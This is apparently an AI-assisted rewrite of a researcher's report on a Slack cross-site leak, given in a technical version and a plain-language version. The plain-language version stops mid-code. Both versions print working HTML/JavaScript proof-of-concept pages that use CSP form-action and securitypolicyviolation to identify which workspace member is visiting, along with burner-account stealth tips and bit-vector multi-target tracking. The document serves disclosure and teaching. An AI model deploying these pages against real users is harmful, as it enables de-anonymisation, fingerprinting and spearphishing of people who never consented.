Skip to content
Info disclosure Write-up Advanced

Cross-site leaks ¶

Slack's file-sharing functionality allowed a malicious workspace member to de-anonymise other members visiting their website by detecting whether a shared file download was triggered, using a cross-site leak technique that bypasses SameSite=Lax. An attacker could leak the victim's IP address and browser fingerprint, and facilitate spearphishing.

Julien Cretel Follow

Published on jub0bs.com

In this post, I show how a malicious member of a Slack workspace can exploit a cross-site leak in Slack’s file-sharing functionality in order to efficiently de-anonymise fellow workspace members when they visit the attacker’s website in Chromium-based browsers.

Julien Cretel (@jub0bs), on jub0bs.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 13 min read.

Context

Slack is a messaging service with a Web client in which members of a workspace can share files, including in direct messages (DMs) and group direct messages. When a member shares a file, Slack generates a download URL of the following form:

Text
https://files.slack.com/files-pri/TXXXXXXXX-FAAAAAAAAAA/download/foo.txt

Here TXXXXXXXX is the team/workspace ID and FAAAAAAAAAA is the file ID. The behaviour of that URL depends on who visits it and in what browser state, and that state-dependent behaviour is the basis of the cross-site leak described in this post. The attack lets a malicious member of a workspace de-anonymise fellow members when they visit the attacker's website in Chromium-based browsers.

The summary of the findings is:

  • A navigation-related XSLeak technique that resists SameSite=Lax was discovered.
  • Slack's Web client suffers from a cross-site leak linked to its file-sharing functionality.
  • An attacker can de-anonymise a fellow member of their Slack workspace among n others in no more than O(log n) HTTP requests.
  • Impact includes leaking the victim's IP address and browser fingerprint, as well as facilitating spearphishing attacks.
  • Slack has no plans to fix it.

Setup

The researcher investigated in one of their own dummy Slack workspaces. The attacker model is a malicious member of a Slack workspace, referred to as Mallory, targeting a fellow member, Alice, and in the multi-target variants also Bob and Carol. The victim visits a page controlled by Mallory. The attack is browser-based; the multi-target variant is only viable in some browsers, most notably not Firefox and Safari, and the attack does not apply in Slack's desktop client or mobile apps.

Slack's session identifier is a cookie named d, marked SameSite=Lax. That means a cross-site request to the file URL only carries the cookie when it is a top-level navigation, not when it is issued from JavaScript.

Finding it

The starting point was the Leaky Images: Targeted Privacy Attacks in the Web paper by Staicu and Pradel, presented at USENIX in 2019. The paper shows that, under certain conditions, an attacker can abuse a service's image-sharing functionality to de-anonymise users across origins. The conditions are that the service

  • relies on cookies for session management, and
  • allows authenticated access to a shared image via the same URL to all parties concerned.

If an attacker knows the resulting URL, they can use it as a tracker or Web beacon. The attacker does not control the server at the end of the URL, but a malicious page can act as an oracle for questions such as: is the current visitor logged in as @alice on Twitter? The page forges requests to one or more shared images and detects, through XSLeak techniques, whether access by the current visitor succeeded.

This is stealthier and more scalable than sending a unique link in a DM and waiting for the victim to visit it: unless the victim inspects the source of the malicious page, she is unlikely to realise the page's objective is to de-anonymise her on an unrelated service, and the attack can often be optimised to target many users without sharing many images or forging many requests. The paper reviewed several prominent sites with image-sharing functionality and found that alarmingly many, including Facebook, Twitter, Google and Microsoft Live, were vulnerable.

The paper omitted Slack, which provides a Web client and lets users share images. A short investigation in a dummy workspace showed that Slack's Web client is vulnerable to leaky-image attacks, or rather to leaky-resource attacks, because the resources shared with victims need not be images.

Or watch on YouTube
From the original on jub0bs.com
Or watch on YouTube

Exploitation

Step 1: understand the state-dependent behaviour of the file URL

When Mallory shares a file named foo.txt in a DM to Alice, Slack generates the URL shown above. What happens when someone visits it depends on their browser state:

  1. If Alice or Mallory visit the URL while logged into the workspace in question, a download of the shared file is triggered in their browser.
  2. If some authenticated user other than Alice or Mallory visits the URL, a 302 HTTP redirect loop occurs, from the download URL to https://TEAM_SUBDOMAIN.slack.com/?redir=%2Ffiles-pri%2FTXXXXXXXX-FAAAAAAAAAA%2Ffoo.txt and back to the download URL, and so on, which the browser soon cuts short.
  3. If an anonymous visitor accesses the URL, they are simply redirected to https://TEAM_SUBDOMAIN.slack.com/?redir=%2Ffiles-pri%2FTXXXXXXXX-FAAAAAAAAAA%2Ffoo.txt.

Mallory can leverage this behaviour to infer whether the current visitor of their malicious page is Alice.

Step 2: work around SameSite=Lax with a top-level navigation

Because the d cookie is SameSite=Lax, the shared resource can only be accessed via a top-level navigation, not via JavaScript. Mallory's page updates window.location and sleeps for a short while to give the server time to respond. If anyone other than Mallory or Alice visits the page, the browser follows the redirect before the sleep ends. If Alice visits while authenticated to Slack, her browser starts a download instead of navigating away, and the rest of the JavaScript notifies Mallory of Alice's visit.

HTML
<!doctype html>
<html>
  <head>
    <meta charset="utf-8">
  </head>
  <body>
    <script>
      function sleep() {
        const ms = 10000;
        return new Promise(resolve => setTimeout(resolve, ms));
      }
      function notifyOfVisitByAlice() {
        const h1 = document.createElement("h1");
        document.body.appendChild(h1);
        h1.innerText = `Hi there, Alice!`;
      }
      async function test() {
        window.location = "https://files.slack.com/files-pri/TXXXXXXXXXX-FAAAAAAAAAA/download/foo.txt"
        await sleep();
        notifyOfVisitByAlice();
      }
      test();
    </script>
  </body>
</html>

In practice, notifyOfVisitByAlice would send a request to a server Mallory controls rather than change the DOM.

Step 3: cancel the redirect with CSP form-action

Targeting a single user is limited: when no download is triggered, the redirect takes the victim away and the malicious page cannot issue further requests. The CSP specification suggests a navigate-to directive, but no prominent browser ships it. The breakthrough is that a GET-based HTML-form submission counts as a top-level navigation and therefore carries SameSite=Lax cookies. CSP's form-action directive defines an allowlist for form submissions, and in Chromium-based browsers, unlike Firefox and Safari, it is enforced even on HTTP redirects.

Put together: a third-party site can detect a cross-origin server-side redirect even when that redirect requires a SameSite=Lax cookie in the initial request. The technique was documented on xsleaks.dev. Prior work on abusing CSP to leak data to another origin exists, notably Egor Homakov's, but abusing form-action this way appears to be novel.

HTML
<!doctype html>
<html>
  <head>
    <meta charset="utf-8">
    <meta http-equiv="Content-Security-Policy"
          content="form-action https://files.slack.com">
  </head>
  <body>
    <form name="myForm"
          action="https://files.slack.com/files-pri/TXXXXXXXXXX-FAAAAAAAAAA/download/foo.txt">
    </form>
    <script>
      function sleep() {
        const ms = 1000;
        return new Promise(resolve => setTimeout(resolve, ms));
      }
      function notifyOfVisitByAlice() {
        const h1 = document.createElement("h1");
        document.body.appendChild(h1);
        h1.innerText = `Hi there, Alice!`;
      }
      function browserIsNotSupported() {
        // see https://developer.mozilla.org/en-US/docs/Web/HTTP/Browser_detection_using_the_user_agent
        return navigator.userAgent.includes('Firefox/') &&
          !navigator.userAgent.includes('Seamonkey/') ||
          navigator.userAgent.includes('Safari/') &&
          !navigator.userAgent.includes('Chrome/') &&
          !navigator.userAgent.includes('Chromium/');
      }
      async function test() {
        if (browserIsNotSupported()) {
          return;
        }
        var violation = false;
        window.addEventListener('securitypolicyviolation', () => {
          violation = true;
        });
        myForm.submit();
        await sleep();
        if (!violation) {
          notifyOfVisitByAlice();
        }
      }
      test();
    </script>
  </body>
</html>

The page listens for the securitypolicyviolation event; if no violation is recorded after the submission, the page concludes the visitor is Alice. The browserIsNotSupported check skips Firefox and Safari.

Step 4: target several users linearly

The proof of concept is readily adapted to target Alice and Bob, with one shared resource per user:

HTML
<!doctype html>
<html>
  <head>
    <meta charset="utf-8">
    <meta http-equiv="Content-Security-Policy"
          content="form-action https://files.slack.com">
  </head>
  <body>
    <form name="myForm"></form>
    <script>
      const trackers = [
        {
          "url": "https://files.slack.com/files-pri/TXXXXXXXXXX-FAAAAAAAAAA/download/foo.txt",
          "username": "Alice"
        },{
          "url":"https://files.slack.com/files-pri/TXXXXXXXXXX-FBBBBBBBBBBB/download/foo.txt",
          "username": "Bob"
        }
      ];
      function sleep() {
        const ms = 1000;
        return new Promise(resolve => setTimeout(resolve, ms));
      }
      function notifyOfVisitBy(username) {
        const h1 = document.createElement("h1");
        document.body.appendChild(h1);
        h1.innerText = `Hi there, ${username}!`;
      }
      function browserIsNotSupported() {
        // see https://developer.mozilla.org/en-US/docs/Web/HTTP/Browser_detection_using_the_user_agent
        return navigator.userAgent.includes('Firefox/') &&
          !navigator.userAgent.includes('Seamonkey/') ||
          navigator.userAgent.includes('Safari/') &&
          !navigator.userAgent.includes('Chrome/') &&
          !navigator.userAgent.includes('Chromium/');
      }
      async function test() {
        if (browserIsNotSupported()) {
          return;
        }
        var violation = false;
        var username = "anonymous";
        window.addEventListener('securitypolicyviolation', () => {
          violation = true;
        });
        for (var i = 0; i < trackers.length; i++) {
          myForm.action = trackers[i].url;
          myForm.submit();
          await sleep();
          if (!violation) {
            username = trackers[i].username;
            break;
          }
          violation = false;
        }
        notifyOfVisitBy(username);
      }
      test();
    </script>
  </body>
</html>

The loop submits each tracker URL in turn. A violation means the visitor is not the tracked user, so the loop continues; no violation means the visitor is that user, and the loop breaks. If the attacker can create a burner Slack account, maximum stealth is possible: after sharing the resources, the attacker deactivates the burner account. Slack's help documentation states that people are not notified when accounts are deactivated, nor are their messages or files deleted, but the notifications the victims received disappear from their Web clients.

This approach does not scale well: worst-case time complexity is O(n) for n targeted users. The attacker must share n resources, one per user, which could probably be automated, and the malicious page must send up to n HTTP requests.

Step 5: optimise with group DMs and bit vectors

Slack supports group direct messages, so more than two people can take part in a DM conversation. As outlined in section 3.3 of the Leaky Images paper, an attacker can use this to de-anonymise one targeted user among n others by sharing no more than O(log n) resources (ceil(log(n)/log(2)), to be exact) and sending no more than O(log n) HTTP requests.

Each targeted user gets a unique bit vector, with the zero vector reserved for anonymous visitors and untargeted users. For Alice, Bob and Carol, Mallory could use:

Text
user                 | bit vector
---------------------|-----------
anonymous/untargeted | 00
Alice                | 01
Bob                  | 10
Carol                | 11

Each bit position corresponds to a resource shared among all targeted users for which that bit is set, and nobody else. Mallory shares one resource with Alice and Carol, and another with Bob and Carol. Testing whether the visitor has access to each resource yields the visitor's bit vector:

HTML
<!doctype html>
<html>
  <head>
    <meta charset="utf-8">
    <meta http-equiv="Content-Security-Policy"
          content="form-action https://files.slack.com">
  </head>
  <body>
    <form name="myForm"></form>
    <script>
      const trackers = [
        "https://files.slack.com/files-pri/TXXXXXXXXXX-FAAAAACCCCC/download/foo.txt", // shared by Mallory with Alice and Carol
        "https://files.slack.com/files-pri/TXXXXXXXXXX-FBBBBBCCCCC/download/foo.txt"  // shared by Mallory with Bob   and Carol
      ];
      const tracked = [
        "anonymous/untracked user", // 00
        "Alice",                    // 01
        "Bob",                      // 10
        "Carol",                    // 11
      ];
      function sleep() {
        const ms = 1000;
        return new Promise(resolve => setTimeout(resolve, ms));
      }
      function notifyOfVisitBy(username) {
        const h1 = document.createElement("h1");
        document.body.appendChild(h1);
        h1.innerText = `Hi there, ${username}!`;
      }
      function browserIsNotSupported() {
        // see https://developer.mozilla.org/en-US/docs/Web/HTTP/Browser_detection_using_the_user_agent
        return navigator.userAgent.includes('Firefox/') &&
          !navigator.userAgent.includes('Seamonkey/') ||
          navigator.userAgent.includes('Safari/') &&
          !navigator.userAgent.includes('Chrome/') &&
          !navigator.userAgent.includes('Chromium/');
      }
      async function test() {
        var bv = 3; // 2-bit vector, initially all ones
        if (browserIsNotSupported()) {
          return;
        }
        window.addEventListener('securitypolicyviolation', () => {
          bv ^= 1 << i; // clear corresponding bit from bit vector
        });
        for (var i = 0; i < trackers.length; i++) {
          myForm.action = trackers[i];
          myForm.submit();
          await sleep();
        }
        notifyOfVisitBy(tracked[bv]);
      }
      test();
    </script>
  </body>
</html>
Or watch on YouTube
YouTube video From the original on jub0bs.com

This approach is more efficient but less stealthy: it generates a lot of notification noise in victims' Web clients. A burner account that is later deactivated would not make those notifications disappear, because the corresponding DMs involve more than two interlocutors.

Root cause

The same URL produces different outcomes depending on whether the visitor is the sharer or recipient, another authenticated member, or anonymous. That difference is observable from a third-party page. A GET-based form submission is a top-level navigation and carries the SameSite=Lax cookie, and Chromium's enforcement of form-action on redirects turns the redirect into a detectable signal. The report does not state which Slack-side code produces the redirect loop.

Impact

A malicious workspace member can de-anonymise a fellow member among n others in no more than O(log n) HTTP requests, and can leak the victim's IP address and browser fingerprint. De-anonymisation can be followed by spearphishing: a victim lured to a spoofed Slack login form with her email address prefilled, which Slack discloses to other members by default, may not check the address bar. The attack is limited to Chromium-based browsers and does not apply in Slack's desktop or mobile apps, which are likely more popular than the Web client. It either generates a lot of notification noise or scales poorly, and it is partly timing-based, so a badly calibrated delay (ms in the proof of concept) can cause spurious results. The report notes there may be a way to share a resource silently, without a notification, but the researcher is not aware of one.

Users cannot do much: any member can DM any other, and as far as the researcher knows Slack does not let users block other users. Muting the DM with the attacker does not help. Effective measures for users who insist on the Web client are limited to using a dedicated browser instance and/or the Tor network, not browsing anything else while logged in, or disabling JavaScript altogether.

Fix

Slack chose not to make a change, closing the report as Informative. Slack's reasoning: it considers workspaces somewhat trusted spaces and requires a higher severity bar for team-internal issues, and sees implied trust between members. The researcher argues this overestimates trust, citing the EFF's point that a group environment is only as trustworthy as its participants, and large cross-business workspaces such as the EBRC's and Chromium's. The barrier to entry is low: by default any non-guest member can invite people, and domain allowlists, when used, can be permissive. Membership is fluid, and Slack itself urges admins to deactivate accounts of members who no longer need access. Privacy matters more to some users than others, and Slack markets itself to government and military users while the EFF observes that community groups, activists and workers increasingly use Slack.

The researcher proposes two options. First, user-specific URLs: a stateless implementation would require an HMAC value in the URL specific to both the querying user and the queried resource, though this may be hard to retrofit without breaking already-shared resources and may conflict with caching. Second, use Fetch Metadata request headers. Hitting the URL in the address bar sends:

HTTP
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document

Clicking the Download button in Slack's UI sends:

HTTP
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document

The malicious page sends:

HTTP
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document

The Sec-Fetch-Site value differs in all three cases, which should be enough to discriminate a genuine request from the attack. The researcher also notes that whether form-action should block redirects after form submission is disputed and unspecified; the W3C discussion has focused on form-data exfiltration and strictness versus usability, and the possibility of this XSLeak appears to have been overlooked. The current Chromium implementation somewhat undermines the benefits of SameSite=Lax. The researcher later opened crbug #1259077 (2021/12/06) to alert the Chromium team.

  1. Other file-sharing services with per-recipient access. Share a file with one account, then load its URL from a third-party page in a browser logged in as that account and as another account. A positive result is a different observable outcome (download versus redirect) for the two states.
  2. SameSite=Lax endpoints reachable by GET form submission. Find a state-changing or state-revealing endpoint that redirects on failure. Submit a form to it under a CSP form-action allowlist and listen for securitypolicyviolation. A positive result is a violation on redirect for non-authorised visitors and none for authorised ones.
  3. Group-based bit-vector targeting. On any service supporting group conversations, share resources with overlapping subsets and test access to each. A positive result is a bit vector that uniquely identifies the visitor among the targeted set.
  4. Fetch Metadata as a mitigation check. Send the three request shapes above to a candidate endpoint and compare Sec-Fetch-Site. A positive result is a server that rejects cross-site navigations while accepting none and same-site.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 24 min read.

What happened, in plain words

Slack is a messaging service that many workplaces use. People join a shared space called a workspace, send each other messages, and share files. Slack also has a Web client, meaning you can use it in a normal browser tab instead of installing an app.

A security researcher found that a malicious member of a Slack workspace could work out the identity of another member who visits the attacker's website. In other words, if you are logged into Slack in your browser and you open a page the attacker controls, that page can figure out that you are, say, Alice rather than Bob or Carol. This is called de-anonymisation: stripping away the anonymity that should protect who you are.

The trick relies on a class of browser weaknesses called cross-site leaks, or XSLeaks. The researcher also found a new way of making one of these leaks work even when a common browser defence, a cookie setting called SameSite=Lax, is in place. The multi-target variant works in Chromium-based browsers (Chrome, Edge and similar), most notably not in Firefox and Safari. The attack does not work in Slack's desktop app or mobile apps.

The researcher reported it to Slack through Slack's public bug-bounty programme on HackerOne. Slack decided not to change anything and closed the report as Informative. The researcher disagreed with that decision and explained why in the write-up.

Background: what a cross-site leak is

To understand the attack, you need a few ideas from how browsers keep websites apart.

Origins and the Same-Origin Policy

Every web page comes from an origin. An origin is the combination of the protocol (such as https), the host name (such as slack.com) and the port number. Two pages with the same origin are allowed to read each other's data freely. Two pages with different origins are not.

That rule is called the Same-Origin Policy, or SOP. It is the cornerstone of browser security: without it, any website you visit could read your email, your bank page or your Slack messages in another tab. Think of it like separate flats in a building: each flat has its own key, and the building manager does not hand your key to the neighbours.

Cross-site leaks

In practice the walls between origins are more porous than they look. Browsers leak small amounts of information through timing, through error messages, through whether an image loads, and so on. Techniques that work around the SOP to learn something about another origin are collectively called cross-site leaks, or XSLeaks.

A useful comparison is a person who cannot enter your flat but can hear whether the lights click on. They never see inside, yet they learn whether you are home. An XSLeak is that kind of indirect observation: the attacker's page cannot read Slack's data, but it can ask the browser questions whose answers depend on Slack's data.

Why bug bounties often shrug at XSLeaks

A bug bounty is a programme where companies pay researchers for reporting security problems. Many programmes treat XSLeaks as low impact and pay nothing, while others, such as Google's and Twitter's, reward them only case by case. The researcher warns readers not to expect to get rich from XSLeaks, but argues that studying them teaches you a lot about how browsers really behave.

Background: the Leaky Images research

The starting point for this work was a paper by researchers at TU Darmstadt, Staicu and Pradel, presented at USENIX in 2019. USENIX is a well-known computing conference. The paper is called Leaky Images: Targeted Privacy Attacks in the Web.

Or watch on YouTube
From the original on jub0bs.com

The paper shows that a service's image-sharing feature can be abused to de-anonymise users across origins, provided two conditions hold:

  1. The service uses cookies to keep users logged in.
  2. The same URL for a shared image works for every person who is allowed to see it.

A cookie is a small piece of data a website asks your browser to store and send back on later requests. It is how a site remembers that you are logged in. If the same image URL works for everyone concerned, then an attacker who knows that URL can use it as a tracker, sometimes called a Web beacon: a tiny resource whose mere loading tells the attacker something about you.

The attacker does not control the server at the end of that URL. But the attacker's own page can act as an oracle, meaning a thing you can ask yes/no questions. The question is: is the current visitor of my page logged in as @alice on Twitter? The page sends requests to one or more shared images and uses XSLeak tricks to detect whether the visitor was allowed to see them.

This is stealthier and more scalable than simply sending the victim a unique link in a direct message and waiting for her to click it. Unless the victim reads the source code of the malicious page, she is unlikely to realise the page's goal is to identify her on an unrelated service. And the attack can often be optimised to cover many users without sharing many images or sending many requests.

The paper looked at several well-known sites with image-sharing features and found that alarmingly many were vulnerable, including Facebook, Twitter, Google and Microsoft Live.

Or watch on YouTube
From the original on jub0bs.com

Background: applying the idea to Slack

The paper did not cover Slack, even though Slack has a Web client and lets users share images. The researcher spent a short time in one of their own dummy workspaces (a test workspace they control) and concluded that Slack's Web client is vulnerable too. In fact the problem is broader than images: the shared resources need not be images at all, so the researcher calls them leaky-resource attacks rather than leaky-image attacks.

Step 1: understanding how a shared file URL behaves

When a member shares a file, Slack creates a download link. Suppose the attacker, whom the write-up calls Mallory, shares a file named foo.txt in a direct message to a victim called Alice. Slack generates a URL of this form:

Text
https://files.slack.com/files-pri/TXXXXXXXX-FAAAAAAAAAA/download/foo.txt

Here TXXXXXXXX stands for the team or workspace ID, a code that identifies the workspace, and FAAAAAAAAAA stands for the file ID, a code that identifies the file. The rest is a fixed pattern.

What happens when someone opens that URL depends on who they are and whether they are logged in:

  1. If Alice or Mallory open it while logged into the workspace, the browser starts downloading the file.
  2. If some other logged-in member of the workspace opens it, the browser is bounced back and forth in a 302 HTTP redirect loop, from the download URL to https://TEAM_SUBDOMAIN.slack.com/?redir=%2Ffiles-pri%2FTXXXXXXXX-FAAAAAAAAAA%2Ffoo.txt and back again, until the browser gives up. A 302 is an HTTP status code meaning "this thing has moved, go here instead". A redirect loop is a chain of such bounces that never settles.
  3. If a visitor who is not logged in opens it, they are simply redirected to https://TEAM_SUBDOMAIN.slack.com/?redir=%2Ffiles-pri%2FTXXXXXXXX-FAAAAAAAAAA%2Ffoo.txt.

So the same URL produces three different outcomes: a download, a redirect loop, or a single redirect. That difference is the signal Mallory can observe. If Mallory's page can tell which outcome happened, it can tell whether the visitor is Alice.

Step 2: getting past the SameSite=Lax cookie

There is a complication. Slack keeps you logged in with a cookie named d, and that cookie is marked SameSite=Lax. The SameSite setting tells the browser when to attach the cookie to a request. Lax means the cookie is sent when you navigate to the site as a top-level page, for example by typing the address or clicking a link, but not when a script on another site quietly fetches something from Slack in the background.

A top-level navigation is when the browser actually leaves the current page and goes to a new one, as opposed to fetching data behind the scenes. The point of SameSite=Lax is to stop other sites from making requests to Slack on your behalf using your login.

Because of this, Mallory cannot simply use JavaScript to fetch the file URL: that request would not carry the d cookie, so Slack would treat the visitor as anonymous. Mallory must instead cause a real top-level navigation.

The first proof of concept does exactly that. It sets window.location, which tells the browser to navigate to a new address, then waits a while to give the server time to respond:

HTML
<!doctype html>
<html>
  <head>
    <meta charset="utf-8">
  </head>
  <body>
    <script>
      function sleep() {
        const ms = 10000;
        return new Promise(resolve => setTimeout(resolve, ms));
      }
      function notifyOfVisitByAlice() {
        const h1 = document.createElement("h1");
        document.body.appendChild(h1);
        h1.innerText = `Hi there, Alice!`;
      }
      async function test() {
        window.location = "https://files.slack.com/files-pri/TXXXXXXXXXX-FAAAAAAAAAA/download/foo.txt"
        await sleep();
        notifyOfVisitByAlice();
      }
      test();
    </script>
  </body>
</html>
  • <!doctype html> tells the browser this is a modern HTML page.
  • The <head> section sets the character encoding to UTF-8 so text displays correctly.
  • Inside <script>, sleep returns a promise that resolves after a set number of milliseconds. A promise is JavaScript's way of representing something that finishes later. Here the wait is 10,000 milliseconds, i.e. ten seconds.
  • notifyOfVisitByAlice creates a heading element, adds it to the page and writes "Hi there, Alice!" in it. In a real attack this would instead send a message to a server the attacker controls.
  • test is the main routine. It first sets window.location to the Slack file URL, which makes the browser navigate there. Then it waits for the sleep to finish. Then it calls the notification.
  • test(); runs the routine as soon as the page loads.

The logic: if the visitor is Alice and logged in, the browser starts a download and stays on Mallory's page, so the code after the wait runs and Mallory learns the visitor is Alice. If the visitor is anyone else, the browser follows the redirect away from Mallory's page before the wait ends, and the notification never happens.

Step 3: cancelling the redirect with a Content Security Policy

Targeting one person is a bit dull. Could the attack identify several people from a single visit? The problem is that when no download happens, the redirect carries the victim away, and Mallory's page loses the chance to ask any more questions.

The researcher needed a way to cancel a top-level navigation. The Content Security Policy, or CSP, is a set of rules a website can send to the browser to restrict what the page is allowed to do. The CSP specification mentions a directive called navigate-to that would block navigations, but no major browser has shipped it, so that route was a dead end.

The breakthrough came from a different CSP directive: form-action. This directive lets a page declare which addresses its forms are allowed to submit to. A form is the part of a page with fields and a submit button; submitting it sends data to a server. A GET-based form submission is one where the data goes in the URL rather than in the request body.

Two facts combine here:

  1. A GET-based form submission counts as a top-level navigation, so it carries SameSite=Lax cookies.
  2. In Chromium-based browsers, unlike Firefox and Safari, form-action is enforced even when the submission results in an HTTP redirect.

Put together, a third-party page can detect whether a cross-origin server-side redirect happened, even when that redirect only happens if a SameSite=Lax cookie was sent. The researcher documented this technique on xsleaks.dev. Earlier work on abusing CSP to leak data to another origin exists, notably by Egor Homakov, but abusing form-action this way appears to be new.

Here is the refined proof of concept:

HTML
<!doctype html>
<html>
  <head>
    <meta charset="utf-8">
    <meta http-equiv="Content-Security-Policy"
          content="form-action https://files.slack.com">
  </head>
  <body>
    <form name="myForm"
          action="https://files.slack.com/files-pri/TXXXXXXXXXX-FAAAAAAAAAA/download/foo.txt">
    </form>
    <script>
      function sleep() {
        const ms = 1000;
        return new Promise(resolve => setTimeout(resolve, ms));
      }
      function notifyOfVisitByAlice() {
        const h1 = document.createElement("h1");
        document.body.appendChild(h1);
        h1.innerText = `Hi there, Alice!`;
      }
      function browserIsNotSupported() {
        // see https://developer.mozilla.org/en-US/docs/Web/HTTP/Browser_detection_using_the_user_agent
        return navigator.userAgent.includes('Firefox/') &&
          !navigator.userAgent.includes('Seamonkey/') ||
          navigator.userAgent.includes('Safari/') &&
          !navigator.userAgent.includes('Chrome/') &&
          !navigator.userAgent.includes('Chromium/');
      }
      async function test() {
        if (browserIsNotSupported()) {
          return;
        }
        var violation = false;
        window.addEventListener('securitypolicyviolation', () => {
          violation = true;
        });
        myForm.submit();
        await sleep();
        if (!violation) {
          notifyOfVisitByAlice();
        }
      }
      test();
    </script>
  </body>
</html>

Line by line:

  • The <meta http-equiv="Content-Security-Policy" ...> line is how a page sets a CSP rule without needing a server. The rule is form-action https://files.slack.com, meaning forms on this page may only submit to https://files.slack.com.
  • The empty <form name="myForm" action="..."> is a form with no fields. Its action is the Slack file URL, so submitting it navigates to that URL.
  • sleep now waits 1,000 milliseconds, i.e. one second, instead of ten.
  • browserIsNotSupported reads navigator.userAgent, a string the browser sends to identify itself, and returns true for Firefox (unless it is Seamonkey) and for Safari (unless it is Chrome or Chromium). In other words, it detects the browsers where the trick does not work.
  • test first gives up if the browser is unsupported.
  • It sets a flag violation to false, then listens for the securitypolicyviolation event. The browser fires this event when a page breaks its own CSP rules.
  • It submits the form, waits one second, and if no violation was recorded, calls the notification.

The logic: if the visitor is Alice and logged in, Slack responds with a download, the browser stays put, and no CSP violation occurs, so Mallory concludes the visitor is Alice. If the visitor is anyone else, a redirect occurs and Chromium fires the violation event, so Mallory concludes the visitor is not Alice. The browserIsNotSupported check skips Firefox and Safari.

Step 4: targeting several users, one at a time

The proof of concept adapts easily to target Alice and Bob, with one shared resource per person:

HTML
<!doctype html>
<html>
  <head>
    <meta charset="utf-8">
    <meta http-equiv="Content-Security-Policy"
          content="form-action https://files.slack.com">
  </head>
  <body>
    <form name="myForm"></form>
    <script>
      const trackers = [
        {
          "url": "https://files.slack.com/files-pri/TXXXXXXXXXX-FAAAAAAAAAA/download/foo.txt",
          "username": "Alice"
        },{
          "url":"https://files.slack.com/files-pri/TXXXXXXXXXX-FBBBBBBBBBBB/download/foo.txt",
          "username": "Bob"
        }
      ];
      function sleep() {
        const ms = 1000;
        return new Promise(resolve => setTimeout(resolve, ms));
      }
      function notifyOfVisitBy(username) {
        const h1 = document.createElement("h1");
        document.body.appendChild(h1);
        h1.innerText = `Hi there, ${username}!`;
      }
      function browserIsNotSupported() {
        // see https://developer.mozilla.org/en-US/docs/Web/HTTP/Browser_detection_using_the_user_agent
        return navigator.userAgent.includes('Firefox/') &&
          !navigator.userAgent.includes('Seamonkey/') ||
          navigator.userAgent.includes('Safari/') &&
          !navigator.userAgent.includes('Chrome/') &&
          !navigator.userAgent.includes('Chromium/');
      }
      async function test() {
        if (browserIsNotSupported()) {
          return;
        }
        var violation = false;
        var username = "anonymous";
        window.addEventListener('securitypolicyviolation', () => {
          violation = true;
        });
        for (var i = 0; i < trackers.length; i++) {
          myForm.action = trackers[i].url;
          myForm.submit();
          await sleep();
          if (!violation) {
            username = trackers[i].username;
            break;
          }
          violation = false;
        }
        notifyOfVisitBy(username);
      }
      test();
    </script>
  </body>
</html>

Line by line:

  • trackers is a list of objects, each pairing a file URL with the name of the person it was shared with. Alice's file and Bob's file have different file IDs.
  • notifyOfVisitBy takes a name and writes "Hi there, NAME!" on the page.
  • The form now has no action in the HTML; the script sets it each time round the loop.
  • test starts with the username set to "anonymous", the fallback if nobody matches.
  • The for loop walks through the trackers. For each one it sets the form's action to that URL, submits the form, and waits one second.
  • If no violation was recorded, the visitor is that tracker's user, so the loop records the name and breaks out.
  • If a violation was recorded, the visitor is not that user, so the loop resets the flag and tries the next tracker.
  • Finally it reports whichever name was found.

If the attacker can create a burner Slack account, one they intend to throw away, maximum stealth is possible. After sharing the resources with the victims, the attacker deactivates the burner account. Slack's own help documentation says that people are not notified when accounts are deactivated, nor are their messages or files deleted, but the notifications the victims received disappear from their Web clients. So the victims lose the visible trace of the messages while the files remain reachable.

This approach does not scale well. Its worst-case time complexity is O(n) for n targeted users, meaning the work grows in proportion to the number of people targeted. The attacker must share n resources, one per person, which could probably be automated, and the malicious page must send up to n requests.

Step 5: doing better with group messages and bit vectors

Slack supports group direct messages, where more than two people take part in one conversation. The Leaky Images paper, in its section 3.3, points out that this can be used to identify one person among n others by sharing no more than O(log n) resources, exactly ceil(log(n)/log(2)) of them, and sending no more than O(log n) requests. O(log n) means the work grows with the logarithm of the number of people, so doubling the number of targets adds only one more step.

The trick is to give each targeted person a unique bit vector, a short string of zeros and ones, and reserve the all-zero vector for anonymous visitors and untargeted users. For Alice, Bob and Carol, Mallory could use:

Text
user                 | bit vector
---------------------|-----------
anonymous/untargeted | 00
Alice                | 01
Bob                  | 10
Carol                | 11

Each position in the vector corresponds to one shared resource. That resource is shared with exactly those targeted users whose bit in that position is set, and nobody else. In this example Mallory shares one resource with Alice and Carol, and another with Bob and Carol. Testing whether the visitor can access each resource tells Mallory which bits are set, and therefore who the visitor is:

HTML
<!doctype html>
<html>
  <head>
    <meta charset="utf-8">
    <meta http-equiv="Content-Security-Policy"
          content="form-action https://files.slack.com">
  </head>
  <body>
    <form name="myForm"></form>
    <script>
      const trackers = [
        "https://files.slack.com/files-pri/TXXXXXXXXXX-FAAAAACCCCC/download/foo.txt", // shared by Mallory with Alice and Carol
        "https://files.slack.com/files-pri/TXXXXXXXXXX-FBBBBBCCCCC/download/foo.txt"  // shared by Mallory with Bob   and Carol
      ];
      const tracked = [
        "anonymous/untracked user", // 00
        "Alice",                    // 01
        "Bob",                      // 10
        "Carol",                    // 11
      ];
      function sleep() {
        const ms = 1000;
        return new Promise(resolve => setTimeout(resolve, ms));
      }
      function notifyOfVisitBy(username) {
        const h1 = document.createElement("h1");
        document.body.appendChild(h1);
        h1.innerText = `Hi there, ${username}!`;
      }
      function browserIsNotSupported() {
        // see https://developer.mozilla.org/en-US/docs/Web/HTTP/Browser_detection_using_the_user_agent
        return navigator.userAgent.includes('Firefox/') &&
          !navigator.userAgent.includes('Seamonkey/') ||
          navigator.userAgent.includes('Safari/') &&
          !navigator.userAgent.includes('Chrome/') &&
          !navigator.userAgent.includes('Chromium/');
      }
      async function test() {
        var bv = 3; // 2-bit vector, initially all ones
        if (browserIsNotSupported()) {
          return;
        }
        window.addEventListener('securitypolicyviolation', () => {
          bv ^= 1 << i; // clear corresponding bit from bit vector
